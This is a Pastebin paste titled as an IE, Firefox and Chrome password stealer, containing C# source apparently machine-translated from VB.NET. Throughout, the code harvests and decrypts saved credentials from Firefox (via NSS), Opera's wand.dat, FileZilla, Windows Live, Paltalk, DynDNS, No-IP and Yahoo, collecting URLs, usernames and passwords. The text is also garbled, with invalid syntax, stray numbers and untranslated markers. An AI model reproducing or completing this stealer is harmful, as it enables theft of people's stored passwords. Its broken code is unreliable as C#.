Guest User

ie, firefox, chrome password stealer

a guest
Jun 3rd, 2016
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 99.49 KB | None | 0 0
  1. using System.Runtime.InteropServices;
  2. using System.IO;
  3. using System.Security.Cryptography;
  4. using System.Text;
  5. using System.Data;
  6. using System.Collections;
  7. using System.Collections.Generic;
  8. public class Main_Stealer {
  9.    
  10.     public static string GetPasswords() {
  11.         OL = "";
  12.         P1();
  13.         P2();
  14.         dyn();
  15.         paltalk();
  16.         GetFire();
  17.         Chrome.Gchrome();
  18.         p.Msn();
  19.         CREDENTIAL.Yahoo();
  20.         GetOpera();
  21.         object r = new CIE7Passwords();
  22.         r.Refresh();
  23.         return OL;
  24.     }
  25. }
  26. class p {
  27.    
  28.     public static void Yahoo() {
  29.         try {
  30.             //     OL += vbNewLine & "###Yahoo" & vbNewLine
  31.             foreach (string k in Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Yahoo\\Profiles").GetSubKeyNames) {
  32.                 OL = (OL + ("|URL| http://Yahoo.com" + ("\r\n" + ("|USR| "
  33.                             + (k + ("\r\n" + ("|PWD| " + "\r\n")))))));
  34.             }
  35.            
  36.         }
  37.         catch (Exception ex) {
  38.         }
  39.        
  40.     }
  41.    
  42.     public string OL;
  43.    
  44.     [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
  45.     public static bool CredEnumerateW(string filter, UInt32 flag, void <, void Out, void Greater, ref UInt32 count, void <, void Out, void Greater, ref IntPtr pCredentials) {
  46.     }
  47.    
  48.     [StructLayout(LayoutKind.Sequential)]
  49.     struct CREDENTIAL {
  50.        
  51.         public int Flags;
  52.        
  53.         public int Type;
  54.        
  55.         [MarshalAs(UnmanagedType.LPWStr)]
  56.         public string TargetName;
  57.        
  58.         [MarshalAs(UnmanagedType.LPWStr)]
  59.         public string Comment;
  60.        
  61.         public long LastWritten;
  62.        
  63.         public int CredentialBlobSize;
  64.        
  65.         public IntPtr CredentialBlob;
  66.        
  67.         public int Persist;
  68.        
  69.         public int AttributeCount;
  70.        
  71.         public IntPtr Attributes;
  72.        
  73.         [MarshalAs(UnmanagedType.LPWStr)]
  74.         public string TargetAlias;
  75.        
  76.         [MarshalAs(UnmanagedType.LPWStr)]
  77.         public string UserName;
  78.     }
  79.    
  80.     //  by saeed suleiman aka botop on nulled.io
  81.     static void Msn() {
  82.         //   OL += vbNewLine & "###MSN" & vbNewLine
  83.         try {
  84.             UInt32 num;
  85.             IntPtr zero = IntPtr.Zero;
  86.             if (p.CredEnumerateW(("WindowsLive:name=" + "*"), 0, num, zero)) {
  87.                 int i;
  88.                 for (i = 0; (i
  89.                             <= (num - 1)); i++) {
  90.                     try {
  91.                         string s;
  92.                         OL = (OL + ("|URL| http://hotmail.com" + "\r\n"));
  93.                         CREDENTIAL credential;
  94.                         Marshal.PtrToStructure(Marshal.ReadIntPtr(zero, (IntPtr.Size * i)), typeof(CREDENTIAL));
  95.                         CREDENTIAL;
  96.                         OL = (OL + ("|USR| "
  97.                                     + (credential.UserName + "\r\n")));
  98.                         try {
  99.                             OL = (OL + ("|PWD| "
  100.                                         + (Marshal.PtrToStringBSTR(credential.CredentialBlob) + "\r\n")));
  101.                         }
  102.                         catch (Exception ex) {
  103.                             OL = (OL + ("|PWD| " + "\r\n"));
  104.                         }
  105.                         catch (Exception ex) {
  106.                         }
  107.                        
  108.                         i;
  109.                     }
  110.                     catch (Exception ex) {
  111.                     }
  112.                    
  113.                     // TODO: #End Region ... Warning!!! not translated
  114.                     P1();
  115.                     // ===FileZilla
  116.                     try {
  117.                         //    OL += vbNewLine & "###FileZilla" & vbNewLine
  118.                         string[] O = IO.File.ReadAllText((System.Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\recentservers.xml")).Split("<Server>");
  119.                         foreach (string u in O) {
  120.                             object UU = u.Split("\r\n");
  121.                             foreach (string I in UU) {
  122.                                 if (I.Contains("<Host>")) {
  123.                                     OL = (OL + ("|URL| "
  124.                                                 + (I.Split("<Host>")[1].Split("</Host>")[0] + "\r\n")));
  125.                                 }
  126.                                
  127.                                 //    If I.Contains("<Port>") Then
  128.                                 // OL += "PRT: " & Split(Split(I, "<Port>")(1), "</Port>")(0) & vbNewLine
  129.                                 // End If
  130.                                 if (I.Contains("<User>")) {
  131.                                     OL = (OL + ("|USR| "
  132.                                                 + (I.Split("<User>")[1].Split("</User>")[0] + "\r\n")));
  133.                                 }
  134.                                
  135.                                 if (I.Contains("<Pass>")) {
  136.                                     OL = (OL + ("|PWD| "
  137.                                                 + (I.Split("<Pass>")[1].Split("</Pass>")[0] + "\r\n")));
  138.                                 }
  139.                                
  140.                             }
  141.                            
  142.                         }
  143.                        
  144.                     }
  145.                     catch (Exception ex) {
  146.                     }
  147.                    
  148.                     P2();
  149.                     //  NO-IP
  150.                     try {
  151.                         //   OL += vbNewLine & "###NO-IP" & vbNewLine
  152.                         string s = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC";
  153.                         string U = Microsoft.Win32.Registry.GetValue(s, "USERname", "");
  154.                         string P = Microsoft.Win32.Registry.GetValue(s, "Password", "");
  155.                         if ((U == "")) {
  156.                             return;
  157.                         }
  158.                        
  159.                         OL = (OL + ("|URL| http://no-ip.com" + ("\r\n" + ("|USR| "
  160.                                     + (U + ("\r\n" + ("|PWD| "
  161.                                     + (P + "\r\n"))))))));
  162.                     }
  163.                     catch (Exception c) {
  164.                     }
  165.                    
  166.                     GetVolumeInformation;
  167.                     "kernel32";
  168.                     ((int)("GetVolumeInformationA"[((string)(lpRootPathName)), ((string)(lpVolumeNameBuffer)), ((int)(nVolumeNameSize)), ref ((int)(lpVolumeSerialNumber)), ref ((int)(lpMaximumComponentLength)), ref ((int)(lpFileSystemFlags)), ((string)(lpFileSystemNameBuffer)), ((int)(nFileSystemNameSize))]));
  169.                     ((string)(HWD()));
  170.                     try {
  171.                         int sn;
  172.                         GetVolumeInformation((System.Environment.GetEnvironmentVariable("SystemDrive") + "\\"), null, null, sn, 0, 0, null, null);
  173.                         return Hex(sn);
  174.                     }
  175.                     catch (Exception ex) {
  176.                         return "ERR";
  177.                     }
  178.                    
  179.                     paltalk();
  180.                     try {
  181.                         //   OL += vbNewLine & "###Paltalk" & vbNewLine
  182.                         char[] ser = HWD.ToCharArray;
  183.                         Microsoft.Win32.RegistryKey reg = Microsoft.Win32.Registry.CurrentUser;
  184.                         string out = "";
  185.                         reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Paltalk");
  186.                         string[] users = reg.GetSubKeyNames();
  187.                         reg.Close();
  188.                         foreach (string s in users) {
  189.                             int t;
  190.                             int o;
  191.                             int i;
  192.                             int x;
  193.                             string pass = Microsoft.Win32.Registry.GetValue(("HKEY_CURRENT_USER\\Software\\Paltalk\\" + s), "pwd", "");
  194.                             char[] chr1 = pass.ToCharArray;
  195.                             string[,] passarr;
  196.                             while ((t
  197.                                         <= (UBound(chr1) - 4))) {
  198.                                 if ((t
  199.                                             < (UBound(chr1) - 4))) {
  200.                                     passarr[o] = (chr1[t]
  201.                                                 + (chr1[(t + 1)] + chr1[(t + 2)]));
  202.                                 }
  203.                                
  204.                                 t += 4;
  205.                                 o++;
  206.                             }
  207.                            
  208.                             string key = "";
  209.                             foreach (char c in s) {
  210.                                 key = (key + c);
  211.                                 if ((i <= UBound(ser))) {
  212.                                     key = (key + ser[i]);
  213.                                 }
  214.                                
  215.                                 i = (i + 1);
  216.                             }
  217.                            
  218.                             key = (key
  219.                                         + (key + key));
  220.                             char[] chr_arr = key.ToCharArray;
  221.                             string blainpass = "";
  222.                             blainpass = (blainpass + ((char)((passarr[0] - (122 - Asc(key.Substring((key.Length - 1), 1)))))));
  223.                             for (x = 1; (x <= UBound(passarr)); x++) {
  224.                                 char tempchr;
  225.                                 if ((passarr[x] == null)) {
  226.                                    
  227.                                 }
  228.                                 else {
  229.                                     tempchr = ((char)((passarr[x]
  230.                                                 - (x
  231.                                                 - (Asc(chr_arr[(x - 1)]) - 122)))));
  232.                                     blainpass = (blainpass + tempchr);
  233.                                 }
  234.                                
  235.                             }
  236.                            
  237.                             OL = (OL + ("|URL| http://Paltalk.com" + ("\r\n" + ("|USR| "
  238.                                         + (s + ("\r\n" + ("|PWD| "
  239.                                         + (blainpass + "\r\n"))))))));
  240.                         }
  241.                        
  242.                     }
  243.                     catch (Exception ex) {
  244.                     }
  245.                    
  246.                     dyn();
  247.                     // DynDNS.com
  248.                     try {
  249.                         //   OL += vbNewLine & "###DynDNS" & vbNewLine
  250.                         object p = (System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE") + "\\").Replace("\\\\", "\\");
  251.                         object pp = (p + "DynDNS\\Updater\\config.dyndns");
  252.                         string usr;
  253.                         string ps;
  254.                         string pas;
  255.                         int ii;
  256.                         if ((IO.File.Exists(pp) == true)) {
  257.                             Array A = IO.File.ReadAllLines(pp);
  258.                             foreach (string s in A) {
  259.                                 if (((s.ToLower.IndexOf("username=") + 1)
  260.                                             > 0)) {
  261.                                     usr = s.Split("=")[1];
  262.                                 }
  263.                                
  264.                                 if (((s.ToLower.IndexOf("password=") + 1)
  265.                                             > 0)) {
  266.                                     ps = s.Split("=")[1];
  267.                                     for (i = 1; (i <= ps.Length); i = (i + 2)) {
  268.                                         pas = (pas + ((char)(double.Parse(("&H" + ps.Substring((i - 1), 2))))));
  269.                                     }
  270.                                    
  271.                                     for (i = 1; (i <= pas.Length); i++) {
  272.                                         pas.Substring((i - 1), 1) = Chr(Asc(pas.Substring((i - 1), 1)), Xor, Asc("t6KzXhCh".Substring(ii, 1)));
  273.                                         ii = ((ii + 1)
  274.                                                     % 8);
  275.                                     }
  276.                                    
  277.                                     if ((usr.Length == 0)) {
  278.                                         return;
  279.                                     }
  280.                                    
  281.                                     OL = (OL + ("|URL| http://DynDns.com" + ("\r\n" + ("|USR| "
  282.                                                 + (usr + ("\r\n" + ("|PWD| "
  283.                                                 + (pas + "\r\n"))))))));
  284.                                     return;
  285.                                 }
  286.                                
  287.                             }
  288.                            
  289.                         }
  290.                        
  291.                     }
  292.                     catch (Exception ex) {
  293.                     }
  294.                    
  295.                     // TODO: #Region ... Warning!!! not translated
  296.                     131;
  297.                     125;
  298.                     252;
  299.                     15;
  300.                     142;
  301.                     179;
  302.                     232;
  303.                     105;
  304.                     115;
  305.                     175;
  306.                     255;
  307.                     0;
  308.                     0;
  309.                     0;
  310.                     8;
  311.                     ((string)(path)) = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  312.                     ((string)(DOutput));
  313.                     GetOpera();
  314.                     //   OL += vbNewLine & "###Opera" & vbNewLine
  315.                     if (File.Exists((path + "\\Opera\\Opera\\wand.dat"))) {
  316.                         path += "\\Opera\\Opera\\wand.dat";
  317.                     }
  318.                     else if (File.Exists((path + "\\Opera\\Opera\\profile\\wand.dat"))) {
  319.                         path += "\\Opera\\Opera\\profile\\wand.dat";
  320.                     }
  321.                    
  322.                     string Q = "";
  323.                     try {
  324.                         byte[] wand_file = File.ReadAllBytes(path);
  325.                         int block_size = 0;
  326.                         for (int i = 0; (i
  327.                                     <= (wand_file.Length - 5)); i++) {
  328.                             if (((wand_file[i] == 0)
  329.                                         && ((wand_file[(i + 1)] == 0)
  330.                                         && ((wand_file[(i + 2)] == 0)
  331.                                         && (wand_file[(i + 3)] == 8))))) {
  332.                                 block_size = int.Parse(wand_file[(i + 15)]);
  333.                                 byte[] key = new byte[] {
  334.                                         7};
  335.                                 byte[] encrypt_data = new byte[] {
  336.                                         (block_size - 1)};
  337.                                 Array.Copy(wand_file, (i + 4), key, 0, key.Length);
  338.                                 Array.Copy(wand_file, (i + 16), encrypt_data, 0, encrypt_data.Length);
  339.                                 DOutput = (DOutput
  340.                                             + (decrypt2_method(key, encrypt_data) + "\r\n"));
  341.                                 i = (i + (11 + block_size));
  342.                             }
  343.                            
  344.                         }
  345.                        
  346.                         string[] A = DOutput.Split("\r\n");
  347.                         for (int i = 0; (i
  348.                                     <= (A.Length - 1)); i++) {
  349.                             string w = FL(A[i]);
  350.                             string url = "";
  351.                             string U = "";
  352.                             string P = "";
  353.                             if ((w.ToLower.StartsWith("http://") || w.ToLower.StartsWith("https://"))) {
  354.                                 url = w;
  355.                                 if ((i + (2 < A.Length))) {
  356.                                     for (int ii = (i + 1); (ii
  357.                                                 <= (i + 2)); ii++) {
  358.                                         string xx = A[ii];
  359.                                         if ((xx.ToLower.StartsWith("http://") || xx.ToLower.StartsWith("https://"))) {
  360.                                             break;
  361.                                         }
  362.                                        
  363.                                         if ((ii
  364.                                                     == (i + 2))) {
  365.                                             U = FL(xx);
  366.                                         }
  367.                                        
  368.                                     }
  369.                                    
  370.                                 }
  371.                                
  372.                                 if ((i + (4 < A.Length))) {
  373.                                     for (int ii = (i + 1); (ii
  374.                                                 <= (i + 4)); ii++) {
  375.                                         string xx = A[ii];
  376.                                         if ((xx.ToLower.StartsWith("http://") || xx.ToLower.StartsWith("https://"))) {
  377.                                             break;
  378.                                         }
  379.                                        
  380.                                         if ((ii
  381.                                                     == (i + 4))) {
  382.                                             P = FL(xx);
  383.                                         }
  384.                                        
  385.                                     }
  386.                                    
  387.                                 }
  388.                                
  389.                                 OL = (OL + ("|URL| "
  390.                                             + (url + ("\r\n" + ("|USR| "
  391.                                             + (U + ("\r\n" + ("|PWD| "
  392.                                             + (P + "\r\n")))))))));
  393.                             }
  394.                            
  395.                         }
  396.                        
  397.                     }
  398.                     catch (Exception ex) {
  399.                     }
  400.                    
  401.                     ((string)(FL(((string)(s)))));
  402.                     string f = "abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\\|\';:,<>/?+=";
  403.                     string w = "";
  404.                     foreach (string xx in s) {
  405.                         if (f.Contains(xx.ToLower)) {
  406.                             xx;
  407.                         }
  408.                        
  409.                     }
  410.                    
  411.                     return w;
  412.                     decrypt2_method(((byte[])(key)), ((byte[])(encrypt_data)));
  413.                     try {
  414.                         MD5CryptoServiceProvider md5Crypt = new MD5CryptoServiceProvider();
  415.                         md5Crypt.Initialize();
  416.                         byte[] tmpBuffer = new byte[] {
  417.                                 (opera_salt.Length
  418.                                             + (key.Length - 1))};
  419.                         Array.Copy(opera_salt, tmpBuffer, opera_salt.Length);
  420.                         Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length);
  421.                         byte[] hash1 = md5Crypt.ComputeHash(tmpBuffer);
  422.                         tmpBuffer = new byte[] {
  423.                                 (hash1.Length
  424.                                             + (opera_salt.Length
  425.                                             + (key.Length - 1)))};
  426.                         Array.Copy(hash1, tmpBuffer, hash1.Length);
  427.                         Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length);
  428.                         Array.Copy(key, 0, tmpBuffer, (hash1.Length + opera_salt.Length), key.Length);
  429.                         byte[] hash2 = md5Crypt.ComputeHash(tmpBuffer);
  430.                         TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
  431.                         tripleDES.Mode = CipherMode.CBC;
  432.                         tripleDES.Padding = PaddingMode.None;
  433.                         byte[] tripleKey = new byte[] {
  434.                                 23};
  435.                         byte[] IV = new byte[] {
  436.                                 7};
  437.                         Array.Copy(hash1, tripleKey, hash1.Length);
  438.                         Array.Copy(hash2, 0, tripleKey, hash1.Length, 8);
  439.                         Array.Copy(hash2, 8, IV, 0, 8);
  440.                         tripleDES.Key = tripleKey;
  441.                         tripleDES.IV = IV;
  442.                         ICryptoTransform decryter = tripleDES.CreateDecryptor();
  443.                         byte[] output = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length);
  444.                         string enc = Encoding.Unicode.GetString(output);
  445.                         return enc;
  446.                     }
  447.                     catch (Exception e) {
  448.                         return "";
  449.                     }
  450.                    
  451.                     // TODO: #End Region ... Warning!!! not translated
  452.                     // TODO: #Region ... Warning!!! not translated
  453.                     firefox5;
  454.                     ((string)(GetFire()));
  455.                     //   OL += vbNewLine & "###FireFox" & vbNewLine
  456.                     try {
  457.                         bool FoundFile = false;
  458.                         long KeySlot = 0;
  459.                         string MozillaPath = (Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\");
  460.                         string DefaultPath = (Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles");
  461.                         string[] Dirs = IO.Directory.GetDirectories(DefaultPath);
  462.                         foreach (string dir in Dirs) {
  463.                             if (!FoundFile) {
  464.                                 string[] Files = IO.Directory.GetFiles(dir);
  465.                                 foreach (string CurrFile in Files) {
  466.                                     if (!FoundFile) {
  467.                                         if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite")) {
  468.                                             NSS_Init(dir);
  469.                                             signon = CurrFile;
  470.                                         }
  471.                                        
  472.                                     }
  473.                                     else {
  474.                                         break;
  475.                                     }
  476.                                    
  477.                                 }
  478.                                
  479.                             }
  480.                             else {
  481.                                 break;
  482.                             }
  483.                            
  484.                         }
  485.                        
  486.                         string dataSource = signon;
  487.                         TSECItem tSec = new TSECItem();
  488.                         TSECItem tSecDec = new TSECItem();
  489.                         TSECItem tSecDec2 = new TSECItem();
  490.                         byte[] bvRet;
  491.                         SQLiteBase5 db = new SQLiteBase5(dataSource);
  492.                         System.Data.DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
  493.                         System.Data.DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
  494.                         foreach (System.Data.DataRow row in table2.Rows) {
  495.                         }
  496.                        
  497.                         KeySlot = PK11_GetInternalKeySlot();
  498.                         PK11_Authenticate(KeySlot, true, 0);
  499.                         foreach (System.Data.DataRow Zeile in table.Rows) {
  500.                             string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString());
  501.                             string url = formurl;
  502.                             string usr = "";
  503.                             string pw = "";
  504.                             StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
  505.                             int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
  506.                             TSECItem item;
  507.                             Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
  508.                             TSECItem;
  509.                             if ((PK11SDR_Decrypt(item, tSecDec, 0) == 0)) {
  510.                                 if ((tSecDec.SECItemLen != 0)) {
  511.                                     bvRet = new byte[] {
  512.                                             (tSecDec.SECItemLen - 1)};
  513.                                     Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
  514.                                     usr = System.Text.Encoding.UTF8.GetString(bvRet);
  515.                                 }
  516.                                
  517.                             }
  518.                            
  519.                             StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
  520.                             int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
  521.                             TSECItem item2;
  522.                             Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
  523.                             TSECItem;
  524.                             if ((PK11SDR_Decrypt(item2, tSecDec2, 0) == 0)) {
  525.                                 if ((tSecDec2.SECItemLen != 0)) {
  526.                                     bvRet = new byte[] {
  527.                                             (tSecDec2.SECItemLen - 1)};
  528.                                     Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
  529.                                     pw = System.Text.Encoding.UTF8.GetString(bvRet);
  530.                                 }
  531.                                
  532.                             }
  533.                            
  534.                             OL = (OL + ("|URL| "
  535.                                         + (url + ("\r\n" + ("|USR| "
  536.                                         + (usr + ("\r\n" + ("|PWD| "
  537.                                         + (pw + "\r\n")))))))));
  538.                         }
  539.                        
  540.                     }
  541.                     catch (Exception ex) {
  542.                     }
  543.                    
  544.                     SHITEMID;
  545.                     ((long)(cb));
  546.                     ((byte[])(abID));
  547.                     TSECItem;
  548.                     ((int)(SECItemType));
  549.                     ((int)(SECItemData));
  550.                     ((int)(SECItemLen));
  551.                     ((IntPtr)(LoadLibrary(((string)(dllFilePath)))));
  552.                     ((IntPtr)(GetProcAddress(((IntPtr)(hModule)), ((string)(procName)))));
  553.                     // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
  554.                     // TODO: Labeled Arguments not supported. Argument: 3 := 'ExactSpelling'
  555.                     // TODO: Labeled Arguments not supported. Argument: 4 := 'SetLastError'
  556.                     ((long)(DLLFunctionDelegate(((string)(configdir)))));
  557.                     ((long)(NSS_Init(((string)(configdir)))));
  558.                     string MozillaPath = (Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\");
  559.                     LoadLibrary((MozillaPath + "mozutils.dll"));
  560.                     // DODANO
  561.                     LoadLibrary((MozillaPath + "mozglue.dll"));
  562.                     LoadLibrary((MozillaPath + "mozcrt19.dll"));
  563.                     LoadLibrary((MozillaPath + "nspr4.dll"));
  564.                     LoadLibrary((MozillaPath + "plc4.dll"));
  565.                     LoadLibrary((MozillaPath + "plds4.dll"));
  566.                     LoadLibrary((MozillaPath + "ssutil3.dll"));
  567.                     LoadLibrary((MozillaPath + "mozsqlite3.dll"));
  568.                     LoadLibrary((MozillaPath + "nssutil3.dll"));
  569.                     LoadLibrary((MozillaPath + "softokn3.dll"));
  570.                     NSS3 = LoadLibrary((MozillaPath + "nss3.dll"));
  571.                     IntPtr pProc = GetProcAddress(NSS3, "NSS_Init");
  572.                     DLLFunctionDelegate dll;
  573.                     Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));
  574.                     DLLFunctionDelegate;
  575.                     return dll[configdir];
  576.                     ((long)(DLLFunctionDelegate2()));
  577.                     ((long)(PK11_GetInternalKeySlot()));
  578.                     IntPtr pProc = GetProcAddress(NSS3, "PK11_GetInternalKeySlot");
  579.                     DLLFunctionDelegate2 dll;
  580.                     Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate2));
  581.                     DLLFunctionDelegate2;
  582.                     return dll[];
  583.                     ((long)(DLLFunctionDelegate3(((long)(slot)), ((bool)(loadCerts)), ((long)(wincx)))));
  584.                     ((long)(PK11_Authenticate(((long)(slot)), ((bool)(loadCerts)), ((long)(wincx)))));
  585.                     IntPtr pProc = GetProcAddress(NSS3, "PK11_Authenticate");
  586.                     DLLFunctionDelegate3 dll;
  587.                     Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate3));
  588.                     DLLFunctionDelegate3;
  589.                     return dll[slot, loadCerts, wincx];
  590.                     ((int)(DLLFunctionDelegate4(((IntPtr)(arenaOpt)), ((IntPtr)(outItemOpt)), ((StringBuilder)(inStr)), ((int)(inLen)))));
  591.                     ((int)(NSSBase64_DecodeBuffer(((IntPtr)(arenaOpt)), ((IntPtr)(outItemOpt)), ((StringBuilder)(inStr)), ((int)(inLen)))));
  592.                     IntPtr pProc = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer");
  593.                     DLLFunctionDelegate4 dll;
  594.                     Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate4));
  595.                     DLLFunctionDelegate4;
  596.                     return dll[arenaOpt, outItemOpt, inStr, inLen];
  597.                     ((int)(DLLFunctionDelegate5(ref ((TSECItem)(data)), ref ((TSECItem)(result)), ((int)(cx)))));
  598.                     ((int)(PK11SDR_Decrypt(ref ((TSECItem)(data)), ref ((TSECItem)(result)), ((int)(cx)))));
  599.                     IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
  600.                     DLLFunctionDelegate5 dll;
  601.                     Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
  602.                     DLLFunctionDelegate5;
  603.                     return dll[data, result, cx];
  604.                     ((string)(signon));
  605.                     ((IntPtr)(HeapAlloc(((IntPtr)(heap)), ((UInt32)(flags)), ((UInt32)(bytes)))));
  606.                     ((IntPtr)(GetProcessHeap()));
  607.                     ((int)(lstrlen(((IntPtr)(str)))));
  608.                     ((int)(sqlite3_open(((IntPtr)(fileName)), ref ((IntPtr)(database)))));
  609.                     ((int)(sqlite3_close(((IntPtr)(database)))));
  610.                     ((int)(sqlite3_exec(((IntPtr)(database)), ((IntPtr)(query)), ((IntPtr)(callback)), ((IntPtr)(arguments)), ref ((IntPtr)(error)))));
  611.                     ((IntPtr)(sqlite3_errmsg(((IntPtr)(database)))));
  612.                     ((int)(sqlite3_prepare_v2(((IntPtr)(database)), ((IntPtr)(query)), ((int)(length)), ref ((IntPtr)(statement)), ref ((IntPtr)(tail)))));
  613.                     ((int)(sqlite3_step(((IntPtr)(statement)))));
  614.                     ((int)(sqlite3_column_count(((IntPtr)(statement)))));
  615.                     ((IntPtr)(sqlite3_column_name(((IntPtr)(statement)), ((int)(columnNumber)))));
  616.                     ((int)(sqlite3_column_type(((IntPtr)(statement)), ((int)(columnNumber)))));
  617.                     ((int)(sqlite3_column_int(((IntPtr)(statement)), ((int)(columnNumber)))));
  618.                     ((double)(sqlite3_column_double(((IntPtr)(statement)), ((int)(columnNumber)))));
  619.                     ((IntPtr)(sqlite3_column_text(((IntPtr)(statement)), ((int)(columnNumber)))));
  620.                     ((IntPtr)(sqlite3_column_blob(((IntPtr)(statement)), ((int)(columnNumber)))));
  621.                     ((IntPtr)(sqlite3_column_table_name(((IntPtr)(statement)), ((int)(columnNumber)))));
  622.                     ((int)(sqlite3_finalize(((IntPtr)(handle)))));
  623.                     //  SQLite constants
  624.                     const int SQL_OK = 0;
  625.                     const int SQL_ROW = 100;
  626.                     const int SQL_DONE = 101;
  627.                     Enum;
  628.                     SQLiteDataTypes;
  629.                     INT = 1;
  630.                     FLOAT;
  631.                     TEXT;
  632.                     BLOB;
  633.                     NULL;
  634.                     Enum;
  635.                     ((IntPtr)(database));
  636.                     database = IntPtr.Zero;
  637.                     ((String)(baseName));
  638.                     OpenDatabase(baseName);
  639.                     OpenDatabase(((String)(baseName)));
  640.                     if ((sqlite3_open(StringToPointer(baseName), database) != SQL_OK)) {
  641.                         database = IntPtr.Zero;
  642.                         //    Throw New Exception("Error with opening database " & baseName & "!")
  643.                     }
  644.                    
  645.                     CloseDatabase();
  646.                     if ((database != IntPtr.Zero)) {
  647.                         sqlite3_close(database);
  648.                     }
  649.                    
  650.                     ((ArrayList)(GetTables()));
  651.                     String query = ("SELECT name FROM sqlite_master " + ("WHERE type IN (\'table\',\'view\') AND name NOT LIKE \'sqlite_%\'" + ("UNION ALL " + ("SELECT name FROM sqlite_temp_master " + ("WHERE type IN (\'table\',\'view\') " + "ORDER BY 1")))));
  652.                     System.Data.DataTable table = ExecuteQuery(query);
  653.                     ArrayList list = new ArrayList();
  654.                     foreach (System.Data.DataRow row in table.Rows) {
  655.                         list.Add(row.ItemArray[0].ToString());
  656.                     }
  657.                    
  658.                     return list;
  659.                     ExecuteNonQuery(((String)(query)));
  660.                     IntPtr error;
  661.                     sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, error);
  662.                     if ((error != IntPtr.Zero)) {
  663.                         //  Throw New Exception(("Error with executing non-query: """ & query & """!") + PointerToString(sqlite3_errmsg([error])))
  664.                     }
  665.                    
  666.                     ((System.Data.DataTable)(ExecuteQuery(((String)(query)))));
  667.                     IntPtr statement;
  668.                     IntPtr excessData;
  669.                     sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData);
  670.                     System.Data.DataTable table = new System.Data.DataTable();
  671.                     int result = ReadFirstRow(statement, table);
  672.                     while ((result == SQL_ROW)) {
  673.                         result = ReadNextRow(statement, table);
  674.                     }
  675.                    
  676.                     sqlite3_finalize(statement);
  677.                     return table;
  678.                     ((int)(ReadFirstRow(((IntPtr)(statement)), ref ((System.Data.DataTable)(table)))));
  679.                     table = new System.Data.DataTable("resultTable");
  680.                     int resultType = sqlite3_step(statement);
  681.                     if ((resultType == SQL_ROW)) {
  682.                         int columnCount = sqlite3_column_count(statement);
  683.                         String columnName = "";
  684.                         int columnType = 0;
  685.                         object[] columnValues = new object[] {
  686.                                 (columnCount - 1)};
  687.                         for (int i = 0; (i
  688.                                     <= (columnCount - 1)); i++) {
  689.                             columnName = PointerToString(sqlite3_column_name(statement, i));
  690.                             columnType = sqlite3_column_type(statement, i);
  691.                             switch (columnType) {
  692.                                 case int.Parse(SQLiteDataTypes.INT):
  693.                                     if (true) {
  694.                                         table.Columns.Add(columnName, Type.GetType("System.Int32"));
  695.                                         columnValues[i] = sqlite3_column_int(statement, i);
  696.                                         break;
  697.                                     }
  698.                                    
  699.                                     break;
  700.                                 case int.Parse(SQLiteDataTypes.FLOAT):
  701.                                     if (true) {
  702.                                         table.Columns.Add(columnName, Type.GetType("System.Single"));
  703.                                         columnValues[i] = sqlite3_column_double(statement, i);
  704.                                         break;
  705.                                     }
  706.                                    
  707.                                     break;
  708.                                 case int.Parse(SQLiteDataTypes.TEXT):
  709.                                     if (true) {
  710.                                         table.Columns.Add(columnName, Type.GetType("System.String"));
  711.                                         columnValues[i] = PointerToString(sqlite3_column_text(statement, i));
  712.                                         break;
  713.                                     }
  714.                                    
  715.                                     break;
  716.                                 case int.Parse(SQLiteDataTypes.BLOB):
  717.                                     if (true) {
  718.                                         table.Columns.Add(columnName, Type.GetType("System.String"));
  719.                                         columnValues[i] = PointerToString(sqlite3_column_blob(statement, i));
  720.                                         break;
  721.                                     }
  722.                                    
  723.                                     break;
  724.                             }
  725.                         }
  726.                        
  727.                         table.Rows.Add(columnValues);
  728.                     }
  729.                    
  730.                     return sqlite3_step(statement);
  731.                     ((int)(ReadNextRow(((IntPtr)(statement)), ref ((System.Data.DataTable)(table)))));
  732.                     int columnCount = sqlite3_column_count(statement);
  733.                     int columnType = 0;
  734.                     object[] columnValues = new object[] {
  735.                             (columnCount - 1)};
